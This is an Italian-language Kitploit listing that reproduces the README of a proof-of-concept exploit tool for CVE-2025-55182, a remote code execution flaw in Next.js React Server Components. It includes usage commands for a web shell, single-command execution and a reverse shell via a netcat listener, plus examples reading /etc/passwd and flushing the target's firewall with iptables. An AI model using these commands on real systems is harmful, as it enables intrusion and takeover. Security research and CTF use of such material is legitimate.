Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
WEB-CLI_RCE_React2Shell — WEB-CLI_RCE_React2Shell è uno strumento exploit PoC didattico per CVE-2025-55182, una critica vulnerabilità di Prototype Pollution nelle applicazioni Next.js che utilizzano React Server Components. Progettato per CTF e ricerca, offre una modalità a comando singolo, una CLI web interattiva e funzionalità di reverse shell per dimostrare la RCE. | Kitploit
Strumenti/GitHubGitHub/raivenlockdown/web-cli_rce_react2shell
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneStrumento di Accesso Remoto

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHub
raivenlockdown/web-cli_rce_react2shell

WEB-CLI_RCE_React2Shell

Vedi Repository
5204 mesi faNon ancora revisionato

Informazioni

WEB-CLI_RCE_React2Shell è uno strumento exploit PoC didattico per CVE-2025-55182, una critica vulnerabilità di Prototype Pollution nelle applicazioni Next.js che utilizzano React Server Components. Progettato per CTF e ricerca, offre una modalità a comando singolo, una CLI web interattiva e funzionalità di reverse shell per dimostrare la RCE.

Condividi

REACT2SHELL

🎯 Panoramica Rapida (Cos'è?)

Questo strumento è un semplice exploit Proof-of-Concept (PoC) per CVE-2025-55182. Si tratta di una grave vulnerabilità (Prototype Pollution) trovata nelle applicazioni Next.js che utilizzano React Server Components.

Se un server di destinazione è vulnerabile, questo script consente di eseguire comandi del sistema operativo su di esso (esecuzione remota di codice, o RCE).

Questo strumento è realizzato per l'apprendimento, i CTF e la ricerca sulla sicurezza responsabile.

Screenshot 2025-12-12 214115

⚠️ Disclaimer per Studenti e Giocatori di CTF

USA IN MODO ETICO. Esegui questo exploit solo contro sistemi che possiedi o per i quali hai un'autorizzazione esplicita e documentata a testare. L'uso non autorizzato è illegale. Questo strumento è solo a scopo educativo.

🌟 Come Usarlo

Questo strumento ha tre modi principali per eseguire comandi: un semplice comando singolo, una console web interattiva completa e un tentativo di reverse shell classica.

⚙️ Installazione

  1. Ottieni il codice:

    git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
    cd REACT2SHELL
    
  2. Installa la libreria:

    pip install requests
    

Modalità 1: Console Web Interattiva (Consigliata per i CTF)

Questo è il modo più semplice per interagire con il target. Avvia una pagina web locale sulla tua macchina che funziona come un terminale.

  1. Esegui lo script:

    python3 exploit.py <TARGET_URL> --web-cli
    

    Esempio: python3 exploit.py http://target.com/ --web-cli

  2. Apri il browser: Lo script ti dirà di aprire http://127.0.0.1:8000/. Potrai quindi digitare i comandi (come ls, whoami, cat /etc/passwd) direttamente nella pagina web.

Modalità 2: Esecuzione di un Singolo Comando

Esegui un comando e ottieni immediatamente l'output nel tuo terminale locale. Utile per controlli rapidi come trovare il tuo ID utente.

python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'

Esempio: python3 exploit.py http://target.com/ --cmd 'id'

Modalità 3: Tentativo di Reverse Shell

Usa questa modalità se vuoi una connessione stabile e persistente. Nota: Spesso fallisce in ambienti reali a causa dei firewall (filtraggio del traffico in uscita).

  1. Avvia il tuo listener (es., netcat):

    nc -lvnp 55555
    
  2. Esegui l'exploit:

    python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
    
    • -i <YOUR_IP>: L'IP della tua macchina.
    • -p 55555: La porta su cui è in ascolto il tuo listener.
    • --flush (Opzionale): Tenta di eseguire iptables -F sul target prima di pulire i firewall dell'host.

🔬 Spiegazione Tecnica (Come Funziona l'Exploit)

L'exploit utilizza una vulnerabilità di Prototype Pollution per ottenere RCE.

  1. Prototype Pollution: Lo script invia un payload appositamente costruito a un endpoint Next.js vulnerabile. Questo payload sfrutta un difetto nel modo in cui il server elabora i dati, permettendoci di aggiungere proprietà alla struttura base dell'oggetto JavaScript (Object.prototype).
  2. Attivazione RCE: Inquiniamo una proprietà interna specifica che controlla quale codice il server esegue (usando child_process di Node.js). Sostituiamo il valore di quella proprietà con il nostro comando di shell.
  3. Cattura dell'Output: Quando si eseguono comandi nelle modalità a comando singolo o web CLI, l'exploit fa eseguire al server il comando (execSync) e genera immediatamente un errore innocuo. L'output del comando viene abilmente inserito nel campo digest del messaggio di errore. Lo script Python legge quindi questo campo per ottenere i risultati.

🤝 Riferimenti e Crediti

Questa ricerca si basa sul lavoro iniziale e sulla divulgazione da parte della community della sicurezza. Grazie a tutti i ricercatori e ai contributori open-source.

📚 Riferimenti Chiave

  • Original PoC Repository for CVE-2025-55182 - (La base per questo exploit.)
  • Original PoC Code Example - (L'esempio di codice iniziale.)
  • Critical Security Vulnerability in React Server Components - (Post ufficiale del blog React sul problema.)
  • Critical Vulnerability in React (CVE-2025-55182) - (Analisi di sicurezza dettagliata.)
  • React Server Functions Documentation - (Documentazione ufficiale che spiega il contesto di come funzionano i componenti vulnerabili.)
Scarica lo strumento